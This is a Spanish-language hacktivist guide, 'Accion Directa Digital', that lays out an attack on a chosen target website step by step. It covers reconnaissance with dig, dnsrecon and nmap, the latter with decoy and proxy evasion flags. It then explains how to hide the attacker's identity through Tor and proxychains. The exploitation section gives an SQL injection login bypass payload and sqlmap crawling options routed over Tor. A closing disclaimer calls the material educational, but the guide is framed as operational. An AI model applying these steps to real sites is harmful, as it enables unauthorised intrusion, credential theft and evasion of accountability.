Accion Directa Digital
La guía seguirá los pasos lógicos de una acción proponiendo herramientas apropiadas para cada etapa. Son bienvenidas las sugerencias.
Contenido
Reconocimiento
Reconocimiento, búsqueda de superficie de ataque e información. En esta etapa queremos encontrar los servidores del blanco, sus IPs, dominios y subdominios, servicios que corre y paginas dinamicas (ej. las que tienen parametros por get o formularios).
Son de particular interes las páginas de administración o internas, los sitios de prueba, hechos a medida y o viejos, asi como los sistemas y CRMs populares y plugins desactualizados.
Herramientas generales
Un navegador, un buscador y una consola de linux.
Registros DNS
dig ANY dominio.com.ar
Encontrar otras webs en el mismo servidor http://www.yougetsignal.com/tools/web-sites-on-web-server/
Buscar subdominios y paginas en DDG o Gugel
site:dominio.com.ar
Buscar directorios ocultos en el robots
dominio.com.ar/robots.txt
dnsrecon
Encuentra subdominios y rangos de IP.
Encontrar subdominios por fuerza bruta
./dnsrecon.py -d sitio.com.ar -t brt ./dnsrecon.py -d sitio.com.ar -t brt -D /usr/share/dnsrecon/namelist.txt
nmap
Nmap sirve para escanear el servidor y encontrar servicios y puertos abiertos.
Escaneo básico, escanea los 1000 puertos mas usuales
nmap dominio.com.ar
Escaneo con detección de versiones, etc
nmap -A dominio.com.ar
Escanear mas puertos probables
nmap --top-ports 10000 dominio.com.ar
Escaneo de puertos específicos
nmap -p1,2,3,5-11 dominio.com.ar
Escanear rango de IPs
nmap 192.168.0.1-128 nmap 192.168.0.1/24 # 192.168.0.xxx
nmap 200.80.200.80 -T1 --max-retries 0 -D1.1.1.1,2.2.2.2 --proxy http://210.61.240.100:8000
Privacidad
Proxy
Un proxy es un programa que corre en una computadora o servidor. Este recibe conexiones en un puerto (usualmente 8080 u 8888 pero puede ser cualquiera) y las redirige a su destino devolviendo las respuestas. Esto nos sirve para que el servidor destino no sepa nuestra ip. OJO: el proxy si sabe nuestra ip
Listas de proxys:
TOR
TOR es una red anónima. Cuando visitamos un sitio por tor pasamos la petición cifrada a través de 3 nodos de la red. Cada nodo solo sabe el nodo anterior y el siguiente, por lo que el primer nodo sabe de quien viene pero no a donde va y el ultimo a donde va pero no de quien viene.
TOR tambien nos abre un proxy de tipo SOCKS5 en el puerto 9050 (o 9150 u otro...) en nuestra máquina.
Los nodos de salida de TOR son conocidos y pueden estar bloqueados, podés combinar TOR con un proxy usando proxychains
Proxychains
Nos permite usar cualquier programa con uno o varios proxy encadenados. Esto es útil para agregar saltos y ya que muchas veces los programas no traen soporte nativo para proxys.
Proxychains tiene su archivo de configuracion en /etc/proxychains.conf
con varias opciones. Pero la principal es la lista de proxys que recorrera en dicho orden. Esta se encuentra bajo la etiqueta [ProxyList]
con un proxy por linea en formato tipo ip puerto
. Las lineas comenzadas en # son comentarios.
[ProxyList] # TOR (127.0.0.1 es localhost) socks5 127.0.0.1 9150 # Un proxy cualquiera socks4 180.153.139.246 8888
Una vez configurado simplemente corremos proxychains nombre_del_programa
.
Explotación
Inyección SQL
Las webs para reaccionar a los usuarios tienen que recibir un input de estos, procesarlo, aveces realizar consultas a la base de datos y presentar los resultados. Cuando realizan consultas a la base de datos utilizando input del usuario sin sanitizar podemos manipular estas consultas para que traigan resultados que el programador originalmente no previó y seguramente no quiera divulgar. Un ejemplo paradigmático son los usuarios y credenciales de acceso.
INSERTAR GRAFICO AQUI
Ejemplo de un login mal hecho
SELECT * FROM usuarios WHERE user = '$_GET['user']' AND password = '$_GET['pass']';
Intención:
SELECT * FROM usuarios WHERE user = 'admin' AND password = '1234';
Con un poco de ayuda se vuelve en:
user = test' OR 1=1-- pass = caca
SELECT * FROM usuarios WHERE user = 'test' OR 1=1--' AND password = 'caca';
Todo lo que esta luego de --
es un comentario asi que no influye.
SQLmap
SQLmap es una herramienta que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL.
SQLmap funciona de 2 modos principalmente o prueba 1 sola url que identificamos como posiblemente vulnerable a mano o recorre (crawlea) todo el sitio probando cada url y parámetro posible.
Parametros generales
-
-u sitio.com.ar
acá le pasamos la url a probar o desde donde arrancar a crawlear. -
--proxy socks4://localhost:9150
acá le pasamos el proxy a usar, en este caso tor. -
--threads 6
acá le decimos con cuantas conexiones paralelas probar, esto acelera el proceso pero puede no funcionar con algunos tipos de ataque.
Recorrido general
-
--crawl 3
acá le decimos con que profundidad recorrer el sitio. -
--forms
acá le decimos que pruebe también en los formularios.
Disclaimer
Las actividades realizadas, demostradas, enseñadas son con el mero fin educativo y en el marco de colaborar en la protección de los datos, mensajes y todo tipo de contenidos. Estas prácticas no están orientadas de ninguna forma a la promoción de ningún tipo de acciones delictivas, sino con el fin de aumentar los niveles de seguridad, para la protección de la comunidad en su conjunto, utilice estas herramientas de forma correcta y bajo su exclusiva responsabilidad